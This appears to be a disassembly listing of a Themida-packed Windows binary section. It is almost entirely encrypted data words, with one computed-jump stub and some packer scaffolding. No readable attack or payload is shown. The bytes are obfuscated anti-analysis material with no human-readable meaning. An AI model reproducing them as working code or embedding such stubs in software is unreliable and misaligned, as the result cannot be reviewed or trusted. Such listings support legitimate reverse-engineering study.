		dd 0C26E2E00h, 0D05C1E43h, 0AA6A0C5Dh, 0B94506ABh, 0B63AF5A6h
		dd 4E6D5DB7h, 3F6CE38Fh, 367BFA9Ah, 2370F793h, 0D4CC387h
		dd 2A7BF068h, 0C7BC3665h, 17A5A67Ah, 0CA1BEA76h, 0A5E84BA6h
		dd 0F166E2EAh, 264C3732h, 9C7DBEF3h, 0B156EE8Bh, 503C364h
		dd 51022174h, 2A7F1CB8h, 3F42CA8Eh, 349540E8h, 3733272Ch
		dd 77ED4Ch, 374C3733h, 3265B8E2h, 9E7F3D3Eh, 8F2FEC39h
		dd 0C709C458h, 2A7F568Fh, 993DDB8Fh, 6489C844h,	89D104C4h
		dd 9556D854h, 5BD57117h, 3C24C506h, 617F2BC6h, 7BF59B2h
		dd 3775FA66h, 7FA26203h, 0B38FD228h, 5E154BFBh,	0CBED5319h
		dd 74000008h, 643508B8h, 520706A6h, 4C1D10B4h, 3B68EF8Fh
		dd 9779FC84h, 55DD90B3h, 2CE881D2h, 39E17829h, 35D57526h
		dd 4E9A7332h, 366529C9h, 0CDAC150Eh, 357FF46Ch,	65B8414Eh
		dd 8149E132h, 8246E287h, 1437D98Ah, 7B1FBAEFh, 2879ACEDh
		dd 2313C890h, 0DEE33561h, 83A2F5A8h, 0FC98316Ah, 8ED92170h
		dd 3250043Dh, 3BA0B0E7h, 36B60AF5h, 187h, 17A5A6DDh, 100CEA76h
		dd 4594BADh, 5BA59608h,	0B7114C31h, 13A31894h, 68AE4316h
		dd 65000001h, 2F39E179h, 9D3DDDCEh, 1C3D9E6Dh, 0BEE16DB6h
		dd 0A0DCD6Dh, 16F7C586h, 0ACF020CAh, 0BC88ED4Bh, 31393122h
		dd 823A54Ch, 69EE7ADBh,	0AE4C3138h, 38FE75EFh, 0E4394C31h
		dd 77EC7CA3h, 7A431634h, 36h, 17A5A699h, 0C9849176h, 3B6A2F39h
		dd 0AD2FA939h, 0AFB9FC4Bh, 31504235h, 4451B64Ch, 98BCE3A3h
		dd 2B9EC571h, 0EA914316h, 4C000000h, 43FE75EFh,	0E4394C31h
		dd 0FDCDD8B1h, 0C4D591F7h, 0DF2C738Ah, 2ECE8F3Bh, 0D65E9326h
		dd 0BBD8D727h, 0A1611A6Ah, 313FBF7Ch, 31EC3D60h, 1A5FF791h
		dd 0FCBEEB12h, 3CDC2D70h, 39D1909Ch, 98799E91h,	202CEC8Fh
		dd 888C8391h, 96CB414Dh, 7D5F3D47h, 0B617414Dh,	4DA5A5AAh
		dd 588FD241h, 32AB6F0Bh, 8E8642D9h, 0B85A4CBh, 0C4A54252h
		dd 3CA71AD3h, 0C431AE26h, 0B4C54384h, 228ADF61h, 7CB14BABh
		dd 61303CDCh, 0A15A4F2Ch, 0D8CDCA1Dh, 7D9A9D25h, 0F45D360Dh
		dd 3766EB7Fh, 0BB872BE2h, 74450FCDh, 23EF4D1Bh,	0CC000007h
		dd 0BCED6010h, 0AAFF7EFEh, 0A4F5480Ch, 93C047E7h, 3FD154DCh
		dd 8D35E8CBh, 8440D98Ah, 9139D081h, 6D2DCD9Eh, 1632ABEAh
		dd 36652921h, 0CDD4BD56h, 0E2C8CFDh, 87D6F023h,	70F77B32h
		dd 4CC38723h, 39E179A7h, 3ADE7A2Fh, 4D853Bh, 63AC0000h
		dd 0ADEBE05Ah, 9D21DBCCh, 0FE9FCE93h, 0A1510C19h, 0CA29E27Eh
		dd 0B3E64BA6h, 6E2AC1DAh, 848CD3E6h, 0A3A8B011h, 0D44C3732h
		dd 0D15FF791h, 0D1184F80h, 1E8E4F75h, 0E398DD79h, 0D76F0902h
		dd 0C732FC80h, 0A6FB568Fh, 8028CEh, 0A6C10000h,	916407A5h
		dd 0C81CEA66h, 79BAFF6Ch, 2CBE5880h, 2A8F4BACh,	0FF74EC4Dh
		dd 384C306Dh, 43BAB2E5h, 0BE8B973h, 5BD79F5Dh, 66AAD0D1h
		dd 0E67AAD6Eh, 0C9949CD6h, 1CBAEFA8h, 7AADEC78h, 2374ABDEh
		dd 9E92C569h, 0ED3EDFDDh, 39B84Dh, 4D3A5A99h, 0D7D3C08h
		dd 4F78A35h, 0AB6CB317h, 8FF7A5B1h, 84256856h, 0F03544C0h
		dd 0BCDF7Dh, 2D7E0000h,	7FF46C8Ch, 0B8571437h, 95242065h
		dd 0A5A64942h, 23EA7617h, 0D04BA6CAh, 0D50FEC8Dh, 4C37325Eh
		dd 0F378E099h, 244C3732h, 0E069BCF1h, 0DC7C71D5h, 0CEDA01ADh
		dd 6AD5431Dh, 70000000h, 4AC28227h, 0A62BE037h,	0EA7617A5h
		dd 4BA6CA22h, 342C8D52h, 4C37333Fh, 383F2578h, 7F4C3733h
		dd 4AAFEB3Ah, 1F14CCADh, 584C3733h, 2E79D205h
		dd 44671518h, 1DCE73E8h, 2B7E43h, 0A6950000h, 0EA7617A5h
		dd 4BA6CA21h, 44B6353h,	1033E775h, 72075CDh, 0F9838EB8h
		dd 28FD5AD2h, 69A2431Dh, 76E134D0h, 16h, 88FDCD9Dh, 0C0600A04h
		dd 6BCC017h, 0D6414DDFh, 0FFFED676h, 0A5A69BFFh, 6FEA7617h
		dd 0BC4BA6CAh, 6865EF79h, 76D2B328h, 4C373301h,	0DBBCE336h
		dd 0C84F957Ah, 0F4C3732h, 2DF97BAAh, 0E0568FC7h, 2C21B3BDh
		dd 0FC31C17Ch, 0C454C51Fh, 4AAF6178h, 3AC278ADh, 32C9C23Bh
		dd 94DB9E96h, 34D5E398h, 61C1DD2Ch, 9A73A66Ch, 2F2EEA81h
		dd 0C91EDB5h, 0E6809505h, 4C93262Eh, 0B8BF5BFFh, 352F4FEBh
		dd 518D63Eh, 0F5953479h, 6FF17FB0h, 93492E6Eh, 0F77C4BBh
		dd 76F6B7FAh, 0EE723B35h, 7018B0BBh, 0F5CAB9Bh,	0D05265D6h
		dd 1EBDEE8Dh, 0FDBFF27Ah, 0DEA7EC44h, 98CDD05Eh, 0C185DE5h
		dd 8C2F7899h, 8CBF99CCh, 0E5B548E3h, 166EA778h,	0A6F368ADh
		dd 0F47BE101h, 230FFC35h, 0EEB3BDFEh, 50EBB8BFh, 4590198h
		dd 9BC94308h, 0E117C43Ah, 3894739Bh, 3F3853F5h,	2F1FFC9Ch
		dd 9927DEA5h, 721E0B88h, 2DA55A5h, 0FE6B0A5Dh, 96B2A6A6h
		dd 414E35A1h, 0C64E83D6h, 0C54307A3h, 0AE557494h, 0EF3EC27Dh
		dd 340B8945h, 6420C6D3h, 8048E031h, 0EA2F18A7h,	98303B6Eh
		dd 571514F0h, 3562E973h, 4095414Eh, 53896E0Fh, 414E35DCh
		dd 3EE8F31Bh, 0F0654DDAh, 0CB06ABFh, 62E7100h, 4E0AA7ACh
		dd 4C7FDD41h, 1AD56923h, 63B45596h, 53D205A9h, 0A1AF6B0Eh
		dd 0EC663B4h, 0AD145DFh, 6AE8414Eh, 0F595343Fh,	75A59572h
		dd 0BC4DF7F8h, 0C77F194Ah, 5BE50849h, 414D7A8Fh, 0B26DD147h
		dd 6964B60Ah, 0AFFFFFFFh, 9129E179h, 3580F76Dh,	62B7414Eh
		dd 3869EC21h, 0A203F8A0h, 4E35B1A6h, 0EAA3E641h, 72B7CA42h
		dd 0E5852623h, 3A70825h, 0E298C947h, 0F95BD25Ah, 0C84889D2h
		dd 8632D6A1h, 962B25E1h, 35E46BF1h, 0CE13414Eh,	0D60DE38Dh
		dd 0D9B60ACDh, 91h, 89FC0674h, 1080A5AEh, 0FDCDC4CDh, 0DF138FB1h
		dd 0EF81D4C5h, 68C9AEEEh, 78E6461Ah, 0EC8C8169h, 5C91202Ch
		dd 3BBB7709h, 0FFCF4BA6h, 68FB07D9h, 0F2489FBDh, 809582AFh
		dd 93262EE6h, 0E920E54Ch, 0B383406Bh, 8DC7962h,	0B0478A60h
		dd 0C13CBCCAh, 27E386ABh, 317F7CF0h, 0AAEFB58h,	0C9051F4Eh
		dd 84568F7Dh, 0E6E86FF5h, 0CA2F571Fh, 46E2D089h, 0A63F7840h
		dd 24917FAEh, 0B4B058F3h, 5892B2E5h, 0BB000000h, 6A03AF6Eh
		dd 1FC179FEh, 347BBE57h, 17A5A65Fh, 0CA20EA76h,	98ED4BA6h
		dd 290247FFh, 56F25330h, 4C3732E1h, 0DA51C316h,	1D4C3732h
		dd 576830C8h, 0A493A900h, 3C3189A0h, 0ED3E9F7Ch, 0FF828A4Eh
		dd 0C75A94A8h, 6A13568Fh, 202F79FEh, 267BBE57h,	1FBAEF4Eh
		dd 795F347Bh, 7A2F39E1h, 0FC5D3ADEh, 4E35EF64h,	0A2F52841h
		dd 4C4C0183h, 1299B5AFh, 1544BADh, 0EB71D607h, 4C315A64h
		dd 51F4E93h, 4C315B12h,	8F274286h, 43161250h, 445Bh, 0CF15FA00h
		dd 4C315348h, 0E5097BA3h, 144EFA49h, 0A6F59EC1h, 0EA7617A5h
		dd 4BAD2EDCh, 2717F429h, 0A79E1D6Ch, 0A5C31287h, 31A848CBh
		dd 0F118BC4Ch, 16431E45h, 1041143h, 6FCC0000h, 319B7EF5h
		dd 3164B94Ch, 39E17958h, 2FC37A2Fh, 7BF0688Ch, 0BC414E35h
		dd 69282479h, 0C762B754h, 0AF410503h, 0C481150Ch, 9A0F536h
		dd 0E7161E41h, 8BDBF997h, 0CF1E5869h, 323ADE7Ah, 6D2FDB7Fh
		dd 6C898CC1h, 0EFDE558Fh, 7810414Dh, 0C5386D0h,	4DEC3470h
		dd 71EB4841h, 414DF4FAh, 64B5F83Dh, 0D65614C4h,	0D66E0B5Eh
		dd 38DD5095h, 0F48A815Bh, 68CD414Dh, 69E7A347h,	14B40528h
		dd 7576F874h, 0DFADA712h, 0B1E2D6B5h, 0A1F07C18h, 0E9558F6Ch
		dd 244BAC5Bh, 0F9F27EF1h, 2906C2BBh, 7E568E5Ah,	0A7C8902Bh
		dd 6B004501h, 7BC9983Eh, 91BFB99Dh, 5061EF20h, 601F080Dh
		dd 510C5DD0h, 2A2195A1h, 7DEB6B68h, 169DFh, 0AA561600h
		dd 0B84406ABh, 0B252F4A5h, 812DEEB3h, 9E22DD8Eh, 3615759Fh
		dd 2774CB77h, 1E43C282h, 0B58DF7Bh, 1554AB6Fh, 2263E870h
		dd 0FF943665h, 3AC67912h, 36D2763Bh, 0A5A6DA37h, 0DCEA7617h
		dd 294BAD2Eh, 75E678F4h, 614C314Eh, 0F368C4E7h,	0FE43162Ah
		dd 91h,	39E17915h, 3FC37A2Fh, 0EDAD4D5Eh, 7430B2BAh, 3C414E32h
		dd 2879FC9Ch, 0F27CC890h, 6C2BBF9h, 4BAD1E1Ch, 87090C51h
		dd 0CB11F6C6h, 568F207Bh, 2576174Ah, 1247C66Ah,	4395E25Bh
		dd 0E7CF449Ch, 0D5085717h, 448CF3A5h, 9FD07813h, 692FC9A3h
		dd 13812F6Bh, 0BAh, 41BA767h, 16E99557h, 6CE3A345h, 7FFE7E3Fh
		dd 48CF732Ah, 0C887A4A4h, 0D3742538h, 0CC6F3C33h, 0C058090Ch
		dd 0A1460518h, 6521B4BBh, 4300E336h, 3B3AC679h,	3736D276h
		dd 0F46CCDDAh, 414E357Fh, 0E13265B8h, 0E2878149h, 6A838246h
		dd 77F19931h, 0AAEF322h, 0DB7CA94Eh, 2475F43Bh,	0D648C484h
		dd 3F2AE2C3h, 0F780AB41h, 42C91353h, 75BFB30Bh,	8F68EF20h
		dd 0CF59FD9Ah, 19C1598Ah, 0D61B4A0Fh, 4E81A332h, 3B67C03h
		dd 12A7A165h, 0D1909CD1h, 0D194901Ch, 7B1F5873h, 6F0B58DFh
		dd 17FF5DABh, 12000000h, 541E6CCDh, 583D766Dh, 7FB3B8B8h
		dd 4EED414Dh, 0DA0D508Ah, 0C5799E6Bh, 0DA7E333Dh, 0D873363Eh
		dd 0D4753430h, 0BA753430h, 0B46B3E36h, 0AC61000Ch, 0C3650400h
		dd 0A6640503h, 81C20E06h, 4ECh,	243C8900h, 0C781E789h
		dd 4, 8704EF83h, 685C243Ch, 5187h, 53243C89h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0F8682434h,	89000046h, 6AB82404h
		dd 0BF1CB350h, 0EE35AEC3h, 5458C701h, 8124348Bh, 4C4h
		dd 4815700h, 75612D24h,	8468F07h, 62F5B951h, 0C18170CBh
		dd 96A9FE38h, 59084E29h, 5124348Bh, 0C181E189h,	4, 8704C183h
		dd 8B5C240Ch, 8956243Ch, 4C681E6h, 83000000h, 348704C6h
		dd 91E95C24h, 0C7FFFB40h, 0DDE9C3F8h, 8B948666h
		db 3
; ---------------------------------------------------------------------------


loc_5E3A91:				; CODE XREF: Themida_:005E2384j
		mov	eax, 0AE914FDh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 26F0h
		dd 5F566716h, 42392B0Eh, 2A6E1A1Fh, 1CDF515Ah, 4C3A2DE0h
		dd 56F179F1h, 3D515C66h, 94185977h, 0C5446B71h,	8D8D4A9Bh
		dd 0AE91690h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0D6C35343h, 5E306AC1h, 89F98ACEh, 0E314798Dh, 9342BE0Ah
		dd 85C707C4h, 0AE306C9h, 6314h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 85C35040h, 86FF56CEh, 8B0F9D23h
		dd 0E32E8D85h, 0C7C78B0Ah, 0E3006985h, 0Ah, 51B50100h
		dd 0FF0AE31Fh, 0E31161B5h, 0FC8A600Ah, 0F1BF0F61h, 26B595FFh
		dd 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 84B0AEC3h, 4AA276A7h, 0B4B22AA0h,	75B5894Eh
		dd 6A0AE322h, 0D195FF00h, 8B0AE31Ch, 1F1DEBC0h,	648579F4h
		dd 0FBC57757h, 6E9C20AEh, 0C38A8664h, 7C15CAC3h, 1A732439h
		dd 6ED6AE59h, 0C9E9h, 575ED800h, 946Fh,	500h, 100h, 0A2800h
		dd 200h, 72655300h, 65636976h, 63615020h, 32206Bh, 28h dup(0)
		dd 6CE90000h, 6800000Bh, 0AE91907h, 0FA6828E9h,	1A3668FFh
		dd 1EE90AE9h, 68FFFA68h, 0AE91B4Ah, 0FA6814E9h,	1BC268FFh
		dd 0AE90AE9h, 68FFFA68h, 0AE91D09h, 0FA6800E9h,	1D8368FFh
		dd 0F6E90AE9h, 68FFFA67h, 0AE920C0h, 0FA67ECE9h, 218968FFh
		dd 0E2E90AE9h, 9CFFFA67h, 34634EDh, 8BCEBC7Bh, 774A00C7h
		dd 0F0D58542h, 505F0BCCh, 559626A2h, 0DC1DA0E5h, 0A5622B6Eh
		dd 2FE890F5h, 5902C87Bh, 3BF69430h, 0A3C61805h,	0A8FCD81Fh
		dd 42C80349h, 28E25D6Fh, 0EA2D5134h, 0A2A4A4AEh, 2E570498h
		dd 3646DFABh, 48334780h, 4B9FCC0Ch, 223CFCC8h, 9DCAD179h
		dd 0D33BFC86h, 1FA88022h, 154D95F1h, 3Ah, 0D3A2A681h, 0AAE30C5Fh
		dd 0D1BA46DFh, 0DFAB95BEh, 0D0836846h, 4912966Ah, 46DFAB20h
		dd 0D9CA06F5h, 3CFC9429h, 0B0FB1F0Ch, 3BFC9283h, 0CE9A44F9h
		dd 4D95C931h, 0D33Bh, 3496B00h,	0EB8E42C8h, 96C565A2h
		dd 46DFAB6Dh, 18715B40h, 3297B374h, 0E8CD4D86h,	0AEC367A0h
		dd 0D13A2019h, 0B2F80387h, 0E846DFA6h, 5EB367A0h, 1449F12Ah
		dd 5963A861h, 458F7C9Eh, 2D1BDF95h, 0BCC65E0Dh,	14493CFCh
		dd 3F6BA562h, 94549E4Ch, 513488B2h, 9C6FEB2Ch, 27876FB0h
		dd 2DDE3218h, 7524680Dh, 14D68942h, 8A904B71h, 0F7305881h
		dd 0DCACE853h, 0F582D7F9h, 469783BCh, 18CBDB16h, 462B7BA5h
		dd 0E61A09E6h, 96340h, 0C23B4E00h, 4A853508h, 0CE09BD90h
		dd 5394391Ch, 0D912A2E7h, 0E8D40661h, 52B763A4h, 0DD30EA23h
		dd 428773ACh, 60DFD36h,	91FE2774h, 2AD73BF6h, 520749DCh
		dd 1FA3E821h, 50B565D8h, 92557928h, 0A7601588h,	414901F4h
		dd 86A4A2A6h, 0FC9425D5h, 17A5D83Ch, 83CD3EDCh,	1376F4A7h
		dd 0DC8FAB6Ch, 3BFC91B3h, 83B7E18Ah, 0FC91EB18h, 72FC613Bh
		dd 95C9A956h, 0FEA34Dh,	83070000h, 0FC85AFD8h, 0BB95863Bh
		dd 0C803496Bh, 0A5EB8E42h, 3913F862h, 0EF6BACD0h, 0DFA776BCh
		dd 1A41C546h, 46DFA6F1h, 0A71E4714h, 4F746DFh, 0EECB05F6h
		dd 0B5A961DAh, 0C5EEBD31h, 9846DFA6h, 0A777A0F3h, 5D4E46DFh
		dd 88924F7Ch, 58604983h, 0F1E97B9Fh, 1C3EF981h,	8DFE7C2Fh
		dd 0B27E94ABh, 0DD1D7733h, 0FC27F68Eh, 8C2A93Ch, 9DB0A7D4h
		dd 472B06Bh, 0FC612E57h, 0A114073Bh, 0AA94476Eh, 0D03CC465h
		dd 50625216h, 55062497h, 321846DCh, 0EC60CAB1h,	0DA1A4368h
		dd 8F346D8h, 0F6DBEDCCh, 965407C0h, 0C20EC9F3h,	0BA7D0346h
		dd 0E61E0C4Eh, 4FE10509h, 834h,	27934C7Fh, 0AF1BD4E2h
		dd 2B9F586Ah, 0B664A5D6h, 30EA2D53h, 0F79903F7h, 7C034634h
		dd 0FD8ACFBBh, 49735604h, 0A337DC8Eh, 0F690CFF8h, 0B3FBA63Bh
		dd 4A8535A8h, 0A2652B0Eh, 2CE795E8h, 3566FA7Eh,	46DFAB0Ch
		dd 0CEDE3AE1h, 42C80349h, 28E25D6Fh, 0EB2C5134h, 42A61C6Fh
		dd 0A3CBC0EBh, 9E5AA4F0h, 53D982A8h, 0EA3CF5D4h, 0CEAE6516h
		dd 0A2F5EFC1h, 0F5DC264Fh, 688CFF3Bh, 654FBD2Ah, 25054F02h
		dd 2B70F476h, 3BF66102h, 14E430DBh, 70064B71h, 516C4B7h
		dd 3BF6616Ch, 500A00FFh, 85458DA8h, 0B6C2A783h,	0B26F1C7Dh
		dd 0DC99266h, 80321346h, 1A06599Bh, 0A5B40E20h,	107CBDC0h
		dd 184312D6h, 0B31D09EFh, 0F93E43C6h, 0C4975306h, 0A93A1DA8h
		dd 48153467h, 8851D5C8h, 0BBBF35D5h, 0BEED4Dh, 9FA3D8C5h
		dd 0A1CA4EECh, 0B317D478h, 0E6725E4Dh, 34251962h, 58BBD51Ch
		dd 226F1D7Ch, 4BB05A93h, 0CBBE7F0Eh, 558E3A1Fh,	0A6DE1F6Bh
		dd 7C12369Dh, 720h, 0CBBF7803h,	5307C0F6h, 0DF8B4C7Eh
		dd 5A10C9FAh, 24965167h, 1BAD17CBh, 60176A20h, 0E99EF3A7h
		dd 75077A30h, 0B743C0BAh, 0F68FBBE4h, 0A7E7923Bh, 86A4A2A6h
		dd 0E9596F02h, 0DFAB99C2h, 0CCBF6C46h, 96199F80h, 5B203CF6h
		dd 6810C883h, 6DA0ABAFh, 725EE0CBh, 61E54536h, 5480790Ch
		dd 509A5565h, 54F883Dh,	0FD3A4085h, 9750785Dh, 0C916D3ADh
		dd 0F4AA4E14h, 6A8h, 5307C08Bh,	0DB8F487Eh, 0A713D4E6h
		dd 22985162h, 0AC1ED9EFh, 63158F43h, 0E89FF2A8h, 71067B2Fh
		dd 0FD8FC2B8h, 3FBB4802h, 0F690436Ch, 2F7F1A3Bh, 968423A8h
		dd 88091517h, 0D6C6824Ch, 0B4B669A2h, 0C6EFBC30h, 9F46DF03h
		dd 0DC1BAFECh, 0A083CD3Eh, 3CF5EF1Ah, 4D200AF1h, 0DC16C43Fh
		dd 5E0D2D21h, 3BF5FA41h, 14D7F91Ch, 28EF93F6h, 0B366D922h
		dd 67A0D2B7h, 715B9422h, 0FAA6D2D9h, 3483BF5h, 5B6144C6h
		dd 0D4874076h, 0EE295336h, 0B6AF9F6Ch, 609D4C2Ch, 655DEAFEh
		dd 3A574D9Fh, 47000000h, 87A3A7A6h, 0EB5D6E03h,	0DFAB97C0h
		dd 0CABD6E46h, 0EF9EFB40h, 0F5DF2C2Eh, 0DFAB7DB2h, 0AFAB5046h
		dd 0DFAACFFCh, 4E100D46h, 76D4CD7Ah, 7C747h, 8AB70000h
		dd 1C6h, 9F579C22h, 10D7FBDBh, 0EC4E010Ah, 0FC9003BFh
		dd 4FF19A3Ch, 5321B51Ch, 0B88E4A95h, 0FAABDFB2h, 0B0FC8h
		dd 127ECD4Dh, 0B7995C6h, 0A75497B3h, 394A2FA3h,	0EBBE4B7h
		dd 0E9929735h, 0F4271436h, 0A12C22F9h, 4E88C433h, 3ABEBC8Ah
		dd 2CEF8551h, 6BA5A9C0h, 50387A38h, 0C06A118Dh,	76241FADh
		dd 72AE6913h, 0AF2BF7FAh, 6151F72Bh, 40000005h,	370AC039h
		dd 0BF924887h, 3B1ECC0Bh, 0A4995196h, 463D710h,	61DAEAD6h
		dd 0E82154A9h, 71AEDF32h, 0FB3444B9h, 2576040Fh, 3BF68DFCh
		dd 49E624D1h, 95B14803h, 4027501Bh, 0DFE46DFh, 1A8C27DAh
		dd 0DCEE83A7h, 703FC8Dh, 0E3174134h, 5B9F6961h,	0EF1843C7h
		dd 1646DF82h, 0DF831C45h, 0F00AF146h, 82DEC10Bh, 0DD3CFCA0h
		dd 73197C2Eh, 56E64CB8h, 73B14C2h, 4E761h, 46BFCA00h, 0CE09B194h
		dd 5295391Ch, 0D710A598h, 5D9E2E63h, 545082EDh,	0DE33E720h
		dd 59BC6EAFh, 0CE03F730h, 7A8941BAh, 8E82ABF0h,	0BE5B3BF6h
		dd 5E034968h, 0E06BEF28h, 0A47E0D2Dh, 327DED7Ah, 22EF1843h
		dd 0D5C646DFh, 0AF023662h, 0DF38221Dh, 0C08BBC26h, 6B47760Ah
		dd 0EFCA06A5h, 93A862DDh, 4776FEEAh, 481Eh, 0A2A68E00h
		dd 0D9E386A4h, 668FDC1Eh, 3F46DFABh, 74C8004Ch,	0AB82ABF0h
		dd 0B05B46DFh, 78E2256Bh, 2E66B993h, 613CFCA9h,	0AADDB0BAh
		dd 0A8F32771h, 3BFCA97Bh, 0E1E24CF1h, 1901FE8Ch, 8835E632h
		dd 804D95D2h, 2Eh, 0A4A2A6ECh, 0DC82D586h, 0EB3CFCh, 0F837473Ah
		dd 5CCDF902h, 0EB913BFCh, 62E67A30h, 0FC5D1039h, 0DA36E53Bh
		dd 0A10CFFFh, 40B54h, 0A2A64000h, 8E0286A4h, 0DFAAB4DDh
		dd 0D116B846h, 176052B9h, 0EEC9C391h, 0C6CED13Bh, 593CFBB3h
		dd 85C388B2h, 3CB7D829h, 0DE914E7Ch, 596346F2h,	0F0117C9Eh
		dd 9177736Eh, 81FA02A9h, 9E8D3219h, 68A3E92Ch, 460B6EE2h
		dd 96C59981h, 46DFA06Dh, 0ACE85B40h, 9AA0A6A2h,	9E596306h
		dd 0F8D40FBDh, 0FC9A3FA7h, 0CFF3163Ch, 46390208h, 0EA74CDC4h
		dd 0B3B77018h, 2D6EAFDEh, 9474A09Bh, 8EAC9A5Eh,	4615A5EBh
		dd 3BFC9E1Dh, 0B2580BF0h, 77CB0F49h, 9E7FA8F3h,	0A5563BFCh
		dd 85E8386Bh, 2C5F3219h, 430514E0h, 0EE3A16D2h,	32583D3Dh
		dd 1A7F9BF5h, 31B5B56Eh, 0DFAB416Ah, 2D671446h,	238F840Dh
		dd 10DA2C2Ch, 0FC92FB4Bh, 4D7F923Ch, 166BDF92h,	2DA1A962h
		dd 89C30448h, 1FDB1CA0h, 0BB954E7Ah, 558E3A9Fh,	6AAFD0B5h
		dd 0FD6198E0h, 35B956BBh, 0BE6CA7D5h, 0B2C4B4B4h, 0FC1ED9E3h
		dd 4DBE5C0Fh, 0B9DC509Ah, 0A8FBD516h, 32198D40h, 83E66417h
		dd 951C3EF9h, 3B3F32BCh, 8D245A4Dh, 10C383ACh
		dd 0F419812Ah, 0CFBC3CFBh, 87FDEFB2h, 1A0E4AEFh, 3444B971h
		dd 4E7A5FFBh, 4B0F2595h, 0B2F97DFDh, 3BFBE689h,	9565AF5Ch
		dd 190372C6h, 0EC6E1D32h, 0DECB92BFh, 776AC846h, 85AEFD45h
		dd 5846DECBh, 0F15AC0B3h, 0C3C46EA7h, 0FDDE1FAEh, 173814CFh
		dd 4776346Eh, 2562h, 0A2A61200h, 0DFE386A4h, 6F3C3C18h
		dd 3CFC94BFh, 3665E596h, 3BFC9209h, 3414DE47h, 4D95C98Bh
		dd 10F81h, 349ED00h, 6FEB2C5Eh,	0AD21299Ch, 0C34780C8h
		dd 80A9F278h, 5546DFABh, 790F6AA6h, 93399CBEh, 4D1E9258h
		dd 46DFAB24h, 36F384F9h, 8CE10943h, 935703FCh, 0A1044CE8h
		dd 98F4A1BDh, 0DF7C4187h, 57049846h, 46DF7C2Eh,	83371407h
		dd 9B210844h, 0E597EAA0h, 49D10EBCh, 790B0FC2h,	82ABF081h
		dd 5B46DF7Ch, 2E7DFDB0h, 3CFC8F0Ah, 0A1CA9115h,	743BFCABh
		dd 0AE5D4D87h, 0F1378FCh, 4000026Bh, 99C2E951h,	6C3BFC93h
		dd 0CF8B55BFh, 93345D0Eh, 62093BFCh, 52378BAFh,	0A5CE9D23h
		dd 783BFC93h, 511A2093h, 3BFC9328h, 0E1C20EFDh,	321834D0h
		dd 1174F6A5h, 9BFEAC6Fh, 0DAF632F5h, 0C309E613h, 1AA892Fh
		dd 0C2890000h, 4E7C5109h, 0D2E4D991h, 5F60A515h, 0DBED209Ah
		dd 8D7DAA60h, 0F0AA6D13h, 7931EA9Dh, 0C0BA7704h, 5604FF8Dh
		dd 456E3DBDh, 183BF68Bh, 7492D7Dh, 893316C4h, 4368EC4Eh
		dd 46DFAB1Ah, 5EDB6BD4h, 3644F5CDh, 6FBF0B45h, 86A4A2A6h
		dd 0FC9425D5h, 12A5D83Ch, 0C0ABFFD9h, 9224515Ah, 0A55A3BFCh
		dd 0C9962F39h, 0A39A4D95h, 0A000000h, 42C80349h, 7C9E596Fh
		dd 0DFA6E92Fh, 6F1D7046h, 4B7158B4h, 0D5E7DA90h, 7672F01Ah
		dd 0DD01AA90h, 0B03CFCB9h, 851C6FCBh, 0D9778852h, 0C81AEE2Ah
		dd 67343610h, 32175F77h, 0D611BBDEh, 1843C763h,	46D982EFh
		dd 7FFBD5C6h, 0F9B16A1Ah, 0CD37F084h, 9E575CBh,	0E18C22C6h
		dd 0C0000000h, 0B78A40B9h, 3F12C807h, 0BB9E4C8Bh, 2419D116h
		dd 84E35790h, 0E15A6A56h, 68A1D429h, 0F12E5FB2h, 7BB4C439h
		dd 0A5F6848Fh, 3BF68A7Ch, 4966A451h, 3316C407h,	0FAF3CE89h
		dd 96E12336h, 0D4EA85B7h, 279A4D95h, 3492B73h, 5D6F42C8h
		dd 3E3A28E2h, 0BF3962C8h, 563CF695h, 4C21A5A5h,	0A089C33Ch
		dd 8235A818h, 950D3649h, 4CE03BF6h, 0F694F61Fh,	69DCCF3Bh
		dd 0FB81C4B6h, 94FB2477h, 29D23BF6h, 0FD1DDAE0h, 0ECBF5B0Eh
		dd 0DF38DA69h, 9476F819h, 7C0F2BE4h, 372D67F8h,	8F30FAC5h
		dd 0D229BEF1h, 8F0B2D60h, 31B0789Eh, 9A2E63E7h,	1F889021h
		dd 5B6C5D37h, 0D2782B9Eh, 0D0DCAFFh, 0C3238F84h, 498C7EB9h
		dd 0AC42C803h, 14h, 4734C8F8h, 412ECEF3h, 0E30C5F87h, 0BA46DF0Dh
		dd 0F2321ED1h, 41C90249h, 67E35C6Ch, 9EBC7502h,	0B753943Bh
		dd 0E169A2D2h, 1B3FF88Ch, 36D415A6h, 62E82F53h,	9A807F0Fh
		dd 5A5452B9h, 4C281h, 0EA830000h, 24148704h, 420F685Ch
		dd 14890000h, 2EED6824h, 4890000h, 8B685024h, 5874AC28h
		dd 0C310B62Dh, 8BC28969h, 0C4812404h, 4, 24048B54h, 8304C483h
		dd 0C8904ECh, 89D18924h, 0FF590848h, 83582434h,	34FF04C4h
		dd 0C4835A24h, 5CCBE904h, 9E55FFFAh, 0B89BE230h, 0AE9228Fh
		dd 0E0FFC503h, 78B2E05h, 2FB682AAh, 48E08374h, 36985E4Bh
		dd 2A981BBh, 7EB655DFh,	18275721h, 1848EF13h, 58BE6EFCh
		dd 2A5DE34Eh, 19E4DBB8h, 66C33859h, 668018BCh, 87B08E5h
		dd 4A6866AEh, 2E3CE96Ah, 62A8C0F7h, 81811AFh, 130C58BEh
		dd 1C465D6h, 1F7EC53Eh,	1A135B68h, 15C63948h, 66CC4756h
		dd 13FFA81h, 7AD75E42h,	490DBF00h, 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0E92368B5h, 69858B0Ah, 8B0AE322h
		dd 0E32ED985h, 0B2B58D0Ah, 8D0AE923h, 0E676B885h, 0C3D0FF0Ah
		dd 0E855h, 815D0000h, 0E923B8EDh, 69BD830Ah, 10AE322h
		dd 2C850Fh, 0B5FF0000h,	0AE92368h, 2ED9858Bh, 36350AE3h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 236CB58Dh, 0FF560AE9h, 0E92368B5h
		dd 0D9858B0Ah, 350AE32Eh, 34812736h, 0C483D0FFh, 6CB58D0Ch
		dd 8B0AE923h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
